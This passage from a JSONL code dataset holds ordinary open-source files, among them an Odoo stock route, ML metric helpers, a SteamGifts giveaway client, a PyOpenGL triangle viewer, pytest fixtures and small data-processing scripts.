\"create_values\": {\n \"active\": True,\n \"company_id\": self.company_id.id,\n \"action\": \"push\",\n \"auto\": \"transparent\",\n \"group_propagation_option\": \"propagate\",\n \"propagate\": True,\n \"route_id\": route.id,\n },\n \"update_values\": {\n \"name\": self._format_rulename(\n customer_loc, supplier_loc, \"Inter Company Push\"\n ),\n \"location_src_id\": customer_loc.id,\n \"location_id\": supplier_loc.id,\n \"picking_type_id\": picking_type.id,\n },\n }\n }\n )\n\n return vals\n","repo_name":"Numigi/odoo-sale-addons","sub_path":"purchase_sale_inter_company_route/models/stock_warehouse.py","file_name":"stock_warehouse.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"18622334049","text":"import copy\nimport datetime\nimport time\nfrom collections import namedtuple\nfrom numbers import Number\nfrom typing import Any, Iterable, Optional, Union\n\nimport numpy as np\nimport torch\n\n# Environment Classes\nObs = namedtuple(\n \"Obs\",\n (\n \"date\",\n \"t\",\n \"target\",\n \"position\",\n \"sell\",\n \"p\", # vwap price at t-1\n \"v\", # market volume at t-1\n ),\n)\n\n\ndef to_torch(\n x: Any,\n dtype: Optional[torch.dtype] = None,\n device: Union[str, int, torch.device] = \"cpu\",\n) -> Optional[Union[torch.Tensor, Iterable]]:\n \"\"\"Return an object without np.ndarray.\"\"\"\n if isinstance(x, np.ndarray) and issubclass(x.dtype.type, (np.bool_, np.number)):\n x = torch.from_numpy(x).to(device) # type: ignore\n if dtype is not None:\n x = x.type(dtype)\n return x\n elif isinstance(x, torch.Tensor): # second often case\n if dtype is not None:\n x = x.type(dtype)\n return x.to(device) # type: ignore\n elif isinstance(x, (np.number, np.bool_, Number)):\n return to_torch(np.asanyarray(x), dtype, device)\n elif isinstance(x, dict):\n return {k: to_torch(v, dtype, device) for k, v in x.items()}\n elif isinstance(x, (list, tuple)):\n return (to_torch(i, dtype, device) for i in x)\n else: # fallback\n raise TypeError(f\"object {x} cannot be converted to torch.\")\n\n\n# Evaluation Metrics\n\n\nclass AverageMeter(object):\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0.0\n self.sum = 0.0\n self.avg = 0.0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = 1.0 * self.sum / self.count\n\n def performance(self, care=\"avg\"):\n return getattr(self, care)\n\n def status(self):\n return str(self.performance())\n\n\nclass GlobalMeter(object):\n def __init__(self, f=lambda x, y: 0):\n self.reset()\n self.f = f\n\n def reset(self):\n self.ys = [] # np.array([], dtype=np.int) # ground truths\n self.preds = [] # np.array([], dtype=np.float) # predictions\n\n def update(self, ys, preds):\n if isinstance(ys, torch.Tensor):\n ys = ys.detach().squeeze(-1).cpu().numpy()\n if isinstance(preds, torch.Tensor):\n preds = preds.detach().squeeze(-1).cpu().numpy()\n assert isinstance(ys, np.ndarray) and isinstance(preds, np.ndarray), \"Please input as type of ndarray.\"\n self.ys.append(ys)\n self.preds.append(preds)\n\n def concat(self):\n if isinstance(self.ys, list) and isinstance(self.preds, list):\n self.ys = np.concatenate(self.ys, axis=0)\n self.preds = np.concatenate(self.preds, axis=0)\n else:\n return\n\n def get_ys(self):\n # deprecated\n return np.concatenate(self.ys, axis=0)\n\n def get_preds(self):\n # deprecated\n return np.concatenate(self.preds, axis=0)\n\n def performance(self):\n return self.f(self.ys, self.preds)\n\n def status(self):\n return str(self.performance())\n\n\nclass GlobalTracker(GlobalMeter):\n def __init__(self, metrics, metric_fn):\n self.reset()\n self.metrics = metrics\n self.metric_fn = metric_fn\n self.ss = {}\n\n def performance(self, metric=\"all\"):\n stat = {}\n if isinstance(metric, str):\n assert (metric == \"all\") or (metric in self.metrics), \"Not support %s metric.\" % metric\n if metric == \"all\":\n for m in self.metrics:\n res = self.metric_fn[m](self.ys, self.preds)\n if hasattr(res, \"item\"):\n res = res.item()\n stat[m] = res\n self.ss[m] = stat[m]\n else:\n res = self.metric_fn[metric](self.ys, self.preds)\n if hasattr(res, \"item\"):\n res = res.item()\n stat[metric] = res\n self.ss[metric] = stat[metric]\n else:\n raise NotImplementedError(\"TODO\")\n return stat\n\n def snapshot(self, metric=\"all\"):\n stat = {}\n if isinstance(metric, str):\n assert (metric == \"all\") or (metric in self.metrics), \"Not support %s metric.\" % metric\n if metric == \"all\":\n for m in self.metrics:\n try:\n stat[m] = self.metric_fn[m]\n except Exception:\n raise KeyError(\"Run performance first\")\n else:\n try:\n stat[metric] = self.ss[metric]\n except Exception:\n raise KeyError(\"Run performance first\")\n else:\n raise NotImplementedError(\"TODO\")\n return stat\n\n\ndef __deepcopy__(self, memo={}):\n cls = self.__class__\n copyobj = cls.__new__(cls)\n memo[id(self)] = copyobj\n for attr, value in self.__dict__.items():\n try:\n setattr(copyobj, attr, copy.deepcopy(value, memo))\n except Exception:\n pass\n return copyobj\n","repo_name":"Arthur-Null/SRD","sub_path":"forecaster/common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5159,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"78"} +{"seq_id":"50921124","text":"#!/usr/bin/env python\n#\n# Lara Maia 2015 ~ 2023\n#\n# The stlib is free software: you can redistribute it and/or\n# modify it under the terms of the GNU General Public License as\n# published by the Free Software Foundation, either version 3 of\n# the License, or (at your option) any later version.\n#\n# The stlib is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n# See the GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see http://www.gnu.org/licenses/.\n#\n\nimport contextlib\nimport logging\nfrom typing import NamedTuple, List, Dict, Any, Tuple\n\nimport aiohttp\nfrom stlib import login, utils\n\nlog = logging.getLogger(__name__)\n\n\nclass UserInfo(NamedTuple):\n points: int\n level: int\n\n\nclass GiveawayInfo(NamedTuple):\n name: str\n copies: int\n points: int\n level: int\n query: str\n id: str\n\n\ngiveaway_types: Dict[str, Dict[str, Any]] = {\n 'main': {},\n 'new': {'type': 'new'},\n 'recommended': {'type': 'recommended'},\n 'wishlist': {'type': 'wishlist'},\n 'group': {'type': 'group'},\n 'dlc': {'dlc': 'true'},\n 'region_restricted': {'region_restricted': 'true'}\n}\n\n\nclass ConfigureError(Exception):\n pass\n\n\nclass GiveawayEndedError(Exception):\n pass\n\n\nclass NoGiveawaysError(Exception):\n pass\n\n\nclass NoPointsError(Exception):\n pass\n\n\nclass NoLevelError(Exception):\n pass\n\n\nclass UserSuspended(login.LoginError):\n pass\n\n\nclass TooFast(login.LoginError):\n pass\n\n\nclass PrivateProfile(login.LoginError):\n pass\n\n\nclass Main(utils.Base):\n def __init__(\n self,\n *args: Any,\n server: str = 'https://www.steamgifts.com',\n join_script: str = 'ajax.php',\n search_page: str = 'https://www.steamgifts.com/giveaways/search',\n config_page: str = 'https://www.steamgifts.com/account/settings/giveaways',\n login_page: str = 'https://steamgifts.com/?login',\n openid_url: str = 'https://steamcommunity.com/openid',\n **kwargs: Any,\n ) -> None:\n super().__init__(*args, **kwargs)\n self.server = server\n self.join_script = join_script\n self.search_page = search_page\n self.config_page = config_page\n self.login_page = login_page\n self.openid_url = openid_url\n self.user_info = UserInfo(0, 0)\n\n async def do_login(self) -> Dict[str, Any]:\n html = await self.request_html(self.login_page)\n form = html.find('form')\n data = {}\n\n if not form:\n nav_button = html.find('a', class_='nav__button')\n warning = html.find('div', class_='notification--warning')\n\n if nav_button and 'Suspensions' in nav_button.text:\n raise UserSuspended('Unable to login, user is suspended.')\n\n if warning and 'Please wait' in warning.text:\n raise TooFast('Wait 15 seconds before try again.')\n\n if warning and 'public Steam profile' in warning.text:\n raise PrivateProfile('Your profile must be public to use steamgifts.')\n\n raise login.LoginError('Unable to log-in on steamgifts')\n\n for input_ in form.findAll('input'):\n with contextlib.suppress(KeyError):\n data[input_['name']] = input_['value']\n\n html = await self.request_html(f'{self.openid_url}/login', data=data)\n avatar = html.find('a', class_='nav__avatar-outer-wrap')\n nav_button = html.find('a', class_='nav__button')\n warning = html.find('div', class_='notification--warning')\n\n # For some reason notifications can be displayed before or after login\n # So we must check for it again... not my fault. Don't remove that!\n if avatar:\n if nav_button and 'Suspensions' in nav_button.text:\n raise UserSuspended('Unable to login, user is suspended.')\n\n json_data = {'success': True, 'nickname': avatar['href'].split('/')[2]}\n else:\n if warning and 'public Steam profile' in warning.text:\n raise PrivateProfile('Your profile must be public to use steamgifts.')\n\n raise login.LoginError('Unable to log-in on steamgifts')\n\n json_data.update(data)\n\n return json_data\n\n async def configure(self) -> None:\n html = await self.request_html(self.config_page)\n form = html.find('form')\n data = {}\n\n for input_ in form.findAll('input'):\n with contextlib.suppress(KeyError):\n data[input_['name']] = input_['value']\n\n post_data = {\n 'xsrf_token': data['xsrf_token'],\n 'filter_giveaways_exist_in_account': 1,\n 'filter_giveaways_missing_base_game': 1,\n 'filter_giveaways_level': 1\n }\n\n try:\n # if status != 200, session will raise an exception\n await self.request(self.config_page, data=post_data)\n except aiohttp.ClientResponseError:\n raise ConfigureError from None\n\n async def get_giveaways(\n self,\n type_: str,\n metascore_filter: Tuple[int, int] = (0, 100),\n level_filter: Tuple[int, int] = (0, 100),\n entries_filter: Tuple[int, int] = (0, 999999),\n points_filter: Tuple[int, int] = (0, 50),\n copies_filter: Tuple[int, int] = (1, 999999),\n pinned_giveaways: bool = True,\n return_unavailable: bool = False,\n ) -> List[GiveawayInfo]:\n if type_ not in giveaway_types.keys():\n raise ValueError(\"type is invalid\")\n\n params = {\n **giveaway_types[type_],\n 'metascore_min': metascore_filter[0] if metascore_filter[0] > 0 else -1,\n 'metascore_max': metascore_filter[1] if metascore_filter[1] < 100 else -1,\n 'level_min': level_filter[0],\n 'level_max': level_filter[1],\n 'entry_min': entries_filter[0],\n 'entry_max': entries_filter[1],\n 'copy_min': copies_filter[0],\n 'copy_max': copies_filter[1],\n 'point_min': points_filter[0],\n 'point_max': points_filter[1],\n }\n\n html = await self.request_html(f'{self.search_page}', params=params)\n user_points = int(html.find('span', class_=\"nav__points\").text)\n user_level = int(''.join(filter(str.isdigit, html.find('span', class_=None).text)))\n self.user_info = UserInfo(user_points, user_level)\n\n container = html.find('div', class_='widget-container')\n head = container.find('div', class_='page__heading')\n giveaways_raw = head.findAllNext('div', class_='giveaway__row-outer-wrap')\n giveaways = []\n\n if pinned_giveaways:\n with contextlib.suppress(AttributeError):\n pinned = container.find('div', class_='pinned-giveaways__outer-wrap')\n giveaways_raw += pinned.findAll('div', class_='giveaway__row-outer-wrap')\n\n for giveaway in giveaways_raw:\n if giveaway.find('div', class_='is-faded'):\n continue\n\n temp_head = giveaway.find('a', class_='giveaway__heading__name')\n name = f'{temp_head.text[:22]}...'\n query = temp_head['href']\n id_ = temp_head['href'].split('/')[2]\n\n temp_head = giveaway.find('span', class_='giveaway__heading__thin')\n\n if 'Copies' in temp_head.text:\n copies = int(''.join(filter(str.isdigit, temp_head.text)))\n temp_head = temp_head.findNext('span', class_='giveaway__heading__thin')\n else:\n copies = 1\n points = int(''.join(filter(str.isdigit, temp_head.text)))\n try:\n level_column = giveaway.find('div', class_='giveaway__column--contributor-level')\n level = int(''.join(filter(str.isdigit, level_column.text)))\n except AttributeError:\n level = 0\n\n if not return_unavailable and (user_level < level or user_points < points):\n log.warning(\"Ignoring %s because user don't have all the requirements to join.\", id_)\n else:\n giveaways.append(GiveawayInfo(name, copies, points, level, query, id_))\n\n if not giveaways and metascore_filter[0] > 0 and metascore_filter[1] < 100:\n log.warning(\"No giveaways found. metascore filtering is enabled.\")\n\n return giveaways\n\n async def join(self, giveaway: GiveawayInfo) -> bool:\n if self.user_info.level < giveaway.level:\n raise NoLevelError(f\"User don't have required level to join {giveaway.id}\")\n\n if self.user_info.points < giveaway.points:\n raise NoPointsError(f\"User don't have required points to join {giveaway.id}\")\n\n html = await self.request_html(f'{self.server}{giveaway.query}')\n if not html.find('a', class_='nav__avatar-outer-wrap'):\n raise login.LoginError(\"User is not logged in\")\n\n sidebar = html.find('div', class_='sidebar')\n form = sidebar.find('form')\n\n if not form:\n raise GiveawayEndedError(f\"Giveaway {giveaway.id} is already ended.\")\n\n data = {}\n\n try:\n for input_ in form.findAll('input'):\n with contextlib.suppress(KeyError):\n data[input_['name']] = input_['value']\n except AttributeError:\n raise NoGiveawaysError(\"No giveaways available to join.\")\n\n post_data = {\n 'xsrf_token': data['xsrf_token'],\n 'do': 'entry_insert',\n 'code': data['code'],\n }\n\n response = await self.request(f'{self.server}/{self.join_script}', data=post_data)\n\n if 'success' in response.content:\n # noinspection PyProtectedMember\n self.user_info = self.user_info._replace(points=self.user_info.points - giveaway.points)\n return True\n\n return False\n","repo_name":"calendulish/stlib-plugins","sub_path":"src/stlib-plugins/steamgifts.py","file_name":"steamgifts.py","file_ext":"py","file_size_in_byte":10117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3443471048","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport sys\nimport csv\nfrom ast import literal_eval\n\ndef checkScore(value):\n if 0 <= value <= 1:\n return True\n sys.exit(\"Invalid score, please specify a number between 0 and 1 e.g. 0.855\")\n\n# Given a list of words, return a dictionary of\n# word-frequency pairs.\n# Source: https://programminghistorian.org/en/lessons/counting-frequencies\ndef wordListToFreqDict(wordlist):\n wordfreq = [wordlist.count(p) for p in wordlist]\n return dict(zip(wordlist,wordfreq))\n\n# Sort a dictionary of word-frequency pairs in\n# order of descending frequency.\n# Source: https://programminghistorian.org/en/lessons/counting-frequencies\ndef sortFreqDict(freqdict):\n aux = [(freqdict[key], key) for key in freqdict]\n aux.sort()\n aux.reverse()\n return aux\n\ndef main():\n common_words = ['UK', 'UKCitizenshipSupport.com', 'UKCitizenshipsupport.com', 'Page', \n 'Chapter 1', 'Chapter 2', 'Chapter 3', 'Chapter 4', 'Chapter 5', \n 'United Kingdom', 'British', 'HMSO', 'www.parliament.uk']\n\n if len(sys.argv) == 3:\n filename = sys.argv[1]\n min_score = float(sys.argv[2])\n checkScore(min_score)\n textlist = []\n\n print('Opening %s' % filename)\n lineList = [line.rstrip('\\n') for line in open(filename, \"r\")]\n print(len(lineList))\n # Remove last list item, since it's an errorcode from Comprehend.\n lineList.pop(-1)\n with open('liuk-entities.csv', 'w+') as csvfile:\n writer = csv.writer(csvfile)\n #Header row\n writer.writerow(['Text','Type','Score','File','Line Number'])\n for line in lineList:\n try:\n line_dict = literal_eval(line)\n f = line_dict[\"File\"]\n line_number = line_dict[\"Line\"]\n for entity in line_dict[\"Entities\"]:\n score = entity[\"Score\"]\n if float(score) <= min_score:\n break\n text = entity[\"Text\"]\n if text in common_words:\n break\n # Create a list of texts, so that we can count the frequency\n textlist.append(text)\n t = entity[\"Type\"]\n writer.writerow([text,t,score,f,line_number])\n except KeyError:\n continue\n csvfile.close()\n print(\"Writing entities to file.\")\n dictionary = wordListToFreqDict(textlist)\n sorteddict = sortFreqDict(dictionary)\n with open('liuk-entities-freqpairs.csv', 'w+') as csvfile2:\n writer = csv.writer(csvfile2)\n #Header row\n writer.writerow(['Frequency', 'Text'])\n for row in sorteddict:\n writer.writerow(row)\n csvfile2.close()\n else:\n sys.exit(\"Invalid number of arguments, please run with 'python process-liuk-entities.py ' \\\n where score is a floating point number between 0 and 1 e.g. 0.855\")\n\n\nif __name__ == '__main__':\n main()","repo_name":"timofeic/life-uk-test","sub_path":"process-liuk-entities.py","file_name":"process-liuk-entities.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"14709236846","text":"# Take a look at the data using pandas\n\nimport pandas as pd\nimport numpy as np\n\ndf = pd.read_csv('tweets.csv')\ntarget = df['is_there_an_emotion_directed_at_a_brand_or_product']\ntext = df['tweet_text']\nproduct = df['emotion_in_tweet_is_directed_at']\n\n# For more ideas check out\n# https://pandas.pydata.org/pandas-docs/stable/10min.html\n#print(text.head())\n\n# Prints the string where the target contains the word Positive\n#print(text[target.str.contains(\"Negative\")])\n\n# Other ideas\n#print(target[0])\n#print(text.str.contains(\"iphone\"))\nprint(target.value_counts())\n#print(text[0])\n","repo_name":"lukas/ml-class","sub_path":"examples/scikit/pandas-explore.py","file_name":"pandas-explore.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":1988,"dataset":"github-code","pt":"78"} +{"seq_id":"74344042492","text":"# Crie um programa que solicite ao usuário que digite um \n# valor numérico inteiro. Em seguida, tente encontrar o \n# fatorial desse número. Utilize try/except para tratar a\n# Inserção de valores não inteiros e números negativos\n\ndef numero_fatorial():\n try:\n numero = int(input(\"Digite um número: \"))\n fatorial = 1\n if numero > 0:\n for c in range(1, numero+1):\n fatorial *= c\n print(fatorial) \n else: \n raise ValueError(\"Não é possível calcular com o número negativo.\")\n except ValueError as e:\n print(f\"Erro: {e}. Por favor, tente novamente.\")\n\nnumero_fatorial()\n\n","repo_name":"vini-jose/Exercises","sub_path":"aulas/aula_08/ex67.py","file_name":"ex67.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5658521956","text":"import logging\nimport logging.handlers as handlers\n\nlogging.basicConfig(filename='app.log', \n format='%(name)s - %(levelname)s - %(message)s', \n encoding='utf-8', \n level=logging.DEBUG)\n\nlogHandler = handlers.RotatingFileHandler('app.log', maxBytes=10, backupCount=2)\nlogHandler.setLevel(logging.INFO)\nlogging.getLogger(\"myapp\").addHandler(logHandler)","repo_name":"cbeloni/python-poc","sub_path":"log/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9444040532","text":"from scrapy.crawler import CrawlerProcess\nfrom fastapi import FastAPI\n\nfrom entity_detector import EntityDetectorSpider\n\napp = FastAPI()\n\n@app.get(\"/\")\nasync def root():\n return {\"message\": \"Hello World\"}\n\n@app.get(\"/entitydetector\")\nasync def detect_entities(url: str):\n # Create an empty list to hold the spider output\n output = []\n\n # Run the spider to extract the text and detect entities\n process = CrawlerProcess(settings={\n \"LOG_LEVEL\": \"ERROR\"\n })\n process.crawl(EntityDetectorSpider, url=url, output=output)\n process.start()\n\n # Extract the entities from the spider output\n entities = output[0][\"entities\"]\n\n # Return the detected entities\n return {\"entities\": entities}\n","repo_name":"andrepreira/nlp_entity_detection_crawler","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36870433176","text":"import glfw\nimport numpy as np\nfrom OpenGL.GL import *\nfrom OpenGL.GL.shaders import compileProgram, compileShader\n\n\nclass Viewport(object):\n def __init__(self, width, height, title=\"OpenGL Window\", r=0.2, g=0.3, b=0.3, a=1.0):\n super().__init__()\n self.width = width\n self.height = height\n self.window_title = title\n self.bg_color = (r, g, b, a)\n\n # !!! MUST BE SET AS NDARRAY FROM NUMPY !!!\n self.vertices = np.array([], dtype=np.float32)\n\n self.__check_glfw()\n self.__setup_glfw()\n self.window = self.__create_window()\n\n def main_loop(self):\n self.__check_vertices(self.vertices, True)\n\n self.VBO = self.__createVBO(self.vertices)\n self.VAO = self.__createVAO()\n\n self.shaderProgram = self.__compile_shaders(path_vertex=\"shaders/triangle.vs\",\n path_fragment=\"shaders/triangle.fs\")\n self.attr_position = self.create_attribute(self.shaderProgram, \"a_position\", 0)\n\n # MAIN LOOP\n # ---------\n while not glfw.window_should_close(self.window):\n self.__process_events(self.window)\n\n glClearColor(self.bg_color[0], self.bg_color[1],\n self.bg_color[2], self.bg_color[3])\n glClear(GL_COLOR_BUFFER_BIT)\n\n # DO STUFF HERE\n # -------------\n glUseProgram(self.shaderProgram)\n glDrawArrays(GL_TRIANGLES, 0, 3)\n\n # -------------\n\n glfw.swap_buffers(self.window)\n glfw.poll_events()\n glfw.terminate()\n\n def create_attribute(self, shader, attrib_name: str, stride: int):\n attribute = glGetAttribLocation(shader, attrib_name)\n glEnableVertexAttribArray(attribute)\n glVertexAttribPointer(attribute, 3, GL_FLOAT, GL_FALSE, stride, ctypes.c_void_p(0))\n\n return attribute\n\n def set_vertices(self, vertex_list: list):\n vertices = np.array(vertex_list, dtype=np.float32)\n self.vertices = vertices\n\n def __createVAO(self):\n VAO = glGenVertexArrays(1)\n glBindVertexArray(VAO)\n\n return VAO\n\n def __createVBO(self, vertices):\n VBO = glGenBuffers(1)\n glBindBuffer(GL_ARRAY_BUFFER, VBO)\n glBufferData(GL_ARRAY_BUFFER, vertices.nbytes, vertices, GL_STATIC_DRAW)\n\n return VBO\n\n def __compile_shaders(self, path_vertex: str, path_fragment: str):\n with open(path_vertex, \"r\") as source:\n vertex = compileShader(source.read(), GL_VERTEX_SHADER)\n\n with open(path_fragment, \"r\") as source:\n fragment = compileShader(source.read(), GL_FRAGMENT_SHADER)\n\n shader_program = compileProgram(vertex, fragment)\n\n return shader_program\n\n def __create_window(self):\n window = glfw.create_window(self.width, self.height, self.window_title, None, None)\n\n glfw.set_window_pos(window, 400, 200)\n glfw.set_window_size_callback(window, self.__resize_window)\n glfw.make_context_current(window)\n\n return window\n\n def __resize_window(self, window, width: int, height: int):\n glViewport(0, 0, width, height)\n\n @staticmethod\n def __process_events(window):\n if glfw.get_key(window, glfw.KEY_ESCAPE) is glfw.PRESS:\n glfw.set_window_should_close(window, True)\n if glfw.get_key(window, glfw.KEY_W) == glfw.PRESS:\n glPolygonMode(GL_FRONT_AND_BACK, GL_LINE)\n if glfw.get_key(window, glfw.KEY_F) == glfw.PRESS:\n glPolygonMode(GL_FRONT_AND_BACK, GL_FILL)\n if glfw.get_key(window, glfw.KEY_P) == glfw.PRESS:\n glPolygonMode(GL_FRONT_AND_BACK, GL_POINT)\n\n @staticmethod\n def __check_glfw():\n # Initiallize gflw\n if not glfw.init():\n raise RuntimeError(\"GLFW initialization error\")\n\n @staticmethod\n def __check_vertices(vertices: np.ndarray, show_coordinates: bool):\n if vertices.nbytes is 0:\n print(\"DEBUG::NO_VERTICES_ARE_SPECIFIED\")\n\n return\n print(\"DEBUG::VERTICES_ARE_SPECIFIED\")\n\n if show_coordinates is True:\n print(\"DEBUG::PRINT_VERTICES_COORDINATES\")\n print(\"----------------------------------->\")\n print(vertices)\n print(\"----------------------------------->\")\n\n @staticmethod\n def __setup_glfw():\n glfw.window_hint(glfw.CONTEXT_VERSION_MAJOR, 4)\n glfw.window_hint(glfw.CONTEXT_VERSION_MINOR, 3)\n glfw.window_hint(glfw.OPENGL_FORWARD_COMPAT, GL_TRUE)\n glfw.window_hint(glfw.OPENGL_PROFILE, glfw.OPENGL_CORE_PROFILE)\n\n\nif __name__ == '__main__':\n window = Viewport(1280, 720, \"Test window \")\n\n vertices = [-0.5, -0.5, 0.0,\n 0.5, -0.5, 0.0,\n 0.0, 0.5, 0.0]\n window.set_vertices(vertices)\n\n window.main_loop()\n","repo_name":"ArtemBorodinEvgenyevich/Python-OpenGL","sub_path":"pyopengl-glfw/triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":4859,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"26035960535","text":"# -*- coding:utf-8 -*-\n\"\"\"\n Describe: 组装request\n Author: liuyufeng\n Date: 2022-06-24 15:06\n demonstration:\n\n class TestClass(object):\n Basedata = readCaseJson.ReadCaseJson(\"modelName\", \"jsonCaseName\").getItem()\n ids = [i[\"name\"] for i in Basedata]\n\n @pytest.mark.parametrize(\"AssemblyRequest\", Basedata, ids=ids, indirect=True)\n def test_one(self, AssemblyRequest):\n rel = AssemblyRequest\n assert rel.json()[\"StatusCode\"] == 200\n\"\"\"\nimport pytest\nimport requests\nimport json\nfrom ConfigurationsCollection.readConfigFile import ReadConfig\nfrom ConfigurationsCollection.configLogging import LogBookClass\nfrom BaseFunctions.reName import reName\n\n\n@pytest.fixture\ndef SessionLogin(request):\n \"\"\"\n 1、前置后置方法\n 2、负责提供session\n :param request:\n :return:\n \"\"\"\n host = ReadConfig().get_sectionKey_value(\"HTTP\", 'base_host')\n timeout = ReadConfig().get_sectionKey_value(\"HTTP\", 'timeout')\n\n session = requests.session()\n login_url = host + \"/api/v1/index/login\"\n\n headers = {\n \"Content-Type\": \"application/json\"\n }\n\n login_data = {\n \"mobileZone\": \"86\",\n \"mobile\": \"1888888888\",\n \"verifyCode\": \"1528\"\n }\n rel = session.post(url=login_url, headers=headers, data=json.dumps(login_data), timeout=float(timeout))\n\n session.headers.update({'x-token': rel.json()[\"data\"][\"token\"]})\n\n def logout():\n logout_url = host + \"/api/v1/user/logout\"\n session.post(url=logout_url)\n\n request.addfinalizer(logout)\n\n return session\n\n\n@pytest.fixture\ndef AssemblyRequest(request, SessionLogin):\n host = ReadConfig().get_sectionKey_value(\"HTTP\", 'base_host')\n timeout = ReadConfig().get_sectionKey_value(\"HTTP\", 'timeout')\n\n Basedata = request.param\n\n url = Basedata[\"url\"]\n method = Basedata[\"method\"]\n headers = Basedata[\"headers\"]\n\n logger = LogBookClass(reName(url), Basedata[\"name\"])\n\n testUrl = host + url\n\n if headers[\"Content-Type\"].__contains__(\"application/json\"):\n data = json.dumps(Basedata[\"param\"])\n else:\n data = Basedata[\"param\"]\n\n # 默认文件为FALSE\n files = None\n if Basedata.get(\"files\") is not None:\n files = Basedata[\"files\"]\n\n # 1、先将有效token保存到变量中\n # 2、如果case里有'x-token', 则使用它;没有则继续使用有效的token\n effectiveToken = SessionLogin.headers[\"x-token\"]\n\n if Basedata.get(\"x-token\") is None:\n SessionLogin.headers.update({'x-token': effectiveToken})\n else:\n customToken = Basedata[\"x-token\"]\n SessionLogin.headers.update({'x-token': customToken})\n\n if method == \"POST\":\n try:\n re = SessionLogin.post(url=testUrl, data=data, headers=headers, files=files, timeout=float(timeout))\n logger.logRecider(\"INFO\", \"POST {0} 成功\".format(testUrl))\n return re\n except Exception as e:\n logger.logRecider(\"ERROR\", e)\n\n elif method == \"GET\":\n try:\n re = SessionLogin.post(url=testUrl, params=data, headers=headers, files=files, timeout=float(timeout))\n logger.logRecider(\"INFO\", \"POST {0} 成功\".format(testUrl))\n return re\n except Exception as e:\n logger.logRecider(\"ERROR\", e)\n else:\n logger.logRecider(\"ERROR\", \"请求方式错误\")\n raise Exception(\"请求方式错误\")\n","repo_name":"liuyuf/automation","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17725646825","text":"#!/usr/bin/env python3\nfrom PIL import Image\nimport numpy as np\nimport zxntools as zxn\nimport sys\n\nNAME = 'shrtoimg'\nVERSION = '1.00.00'\nDATE = \"11 Apr 2021\"\n\n\ndef my_help(name):\n version()\n sys.stderr.write(\n (\"Usage: {} [] [] []\\n\"\n \"\\toptions are\\n\"\n \"\\t-D\\t--double\\tdouble vertical size\\n\"\n \"\\t-h\\t--help\\t\\tshow this help message\\n\"\n \"\\t-i\\t--in\\t\\tinput file (stdin)\\n\"\n \"\\t-o\\t--out\\t\\toutput file (stdout)\\n\"\n \"\\t-V\\t--version\\tget version information\\n\"\n \"\\t-v\\t--verbose\\tincrease verbosity\\n\"\n ).format(name))\n\n\ndef version():\n sys.stderr.write(\"{} version {} {}\\n\".format(NAME, VERSION, DATE))\n zxn.version(True)\n\n\nDEFAULTS = {\n 'help': my_help,\n 'inks': None,\n 'long_opts': ['double', 'help', 'in=', 'out=', 'version', 'verbose'],\n 'num_colors': None,\n 'opts': 'Dhi:o:vV',\n 'pal_type': None,\n 'papers': None,\n 'res': (512, 192),\n 'tile_y': None,\n 'to_zxnext': False,\n 'zxn_fmt': zxn.Options.SHR\n}\n\n\ndef shrtoimg(options):\n data_all = np.asarray(list(options.infile.read()))\n data = data_all[:12288].reshape((2, 3, 8, 8, 32))\n pixels = np.empty((192, 32, 2, 8))\n\n for pg in range(2):\n for r in range(192):\n r1 = r // 64\n r2 = (r // 8) & 7\n r3 = r & 7\n for b in range(8):\n pixels[r, :, pg, b] = data[pg, r1, r3, r2] & (128 >> b) == 0\n\n img = Image.new('1', (512, 192))\n img.putdata(list(pixels.reshape((98304,))))\n\n if options.double:\n img = img.resize((512, 384))\n\n return img\n\n\nif __name__ == \"__main__\":\n options = zxn.Options(sys.argv, DEFAULTS)\n\n if options.verbose > 0:\n options.print()\n\n img = shrtoimg(options)\n\n if options.verbose > 1:\n img.resize((1024, 768)).show()\n\n img.save(options.outfile)\n","repo_name":"varmfskii/zxnimage","sub_path":"python/shrtoimg.py","file_name":"shrtoimg.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12031688791","text":"\"\"\"\nTests for ItemGroupby SQLNode\n\"\"\"\nimport textwrap\n\nimport pytest\n\nfrom featurebyte.enum import AggFunc, SourceType\nfrom featurebyte.query_graph.enum import NodeOutputType, NodeType\nfrom featurebyte.query_graph.sql.builder import SQLOperationGraph\nfrom featurebyte.query_graph.sql.common import SQLType\n\n\n@pytest.mark.parametrize(\"value_by\", [None, \"item_type\"])\n@pytest.mark.parametrize(\n \"parent, agg_func, expected_expr\",\n [\n (None, AggFunc.COUNT, \"COUNT(*)\"),\n (\"item_id\", AggFunc.SUM, 'SUM(\"item_id\")'),\n (\"item_id\", AggFunc.MIN, 